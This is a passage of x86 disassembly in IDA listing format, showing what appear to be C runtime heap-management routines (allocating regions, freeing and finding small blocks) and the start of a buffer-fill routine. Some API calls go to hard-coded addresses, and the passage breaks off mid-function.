		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------

loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi

loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------

loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax

loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A2E0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A2D0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------

loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3

loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A2D0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A2D0, 0
		jnz	short loc_41E9F6
		mov	off_43A2D0, eax

loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A2D4, 0
		jnz	short loc_41EA1B
		mov	off_43A2D4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------

loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A2D4
		mov	[esi+4], eax
		mov	off_43A2D4, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------

loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 289072Fh

loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC904
		call	near ptr 2790000h
		nop

loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax

loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 289072Fh
		nop
		cmp	off_43C2F0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C2F0, eax

loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC904
		nop
		call	near ptr 2790000h
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A2E0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A2D4
		push	edi

loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 289072Fh
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB2F4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F

loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi

loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84

loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36

loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B

loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx

loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A2D4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D

loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A2D0
		push	esi
		mov	ecx, edx

loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0

loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB2F4
		cmp	dword_4DB2F4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C2F0
		push	edi

loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1

loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]

loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A

loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx

loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------

loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]

loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C2F0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------

loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C2F0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------

loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A2D0
		mov	edi, eax

loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68

loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------

loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97

loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86

loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28908D9h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4

loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C2F0, edi
		lea	eax, [edi+2018h]

loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------

loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax

loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C2F0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax

loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------

loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------

loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi

loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E

loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------

loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93

loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------

loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi

loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB

loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]

loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------

loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------

loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------

loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------

loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax

loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------

loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]

loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------

loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi

loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021

loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A

loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1

loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------

loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------

loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC5C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------

loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C950

loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h

loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
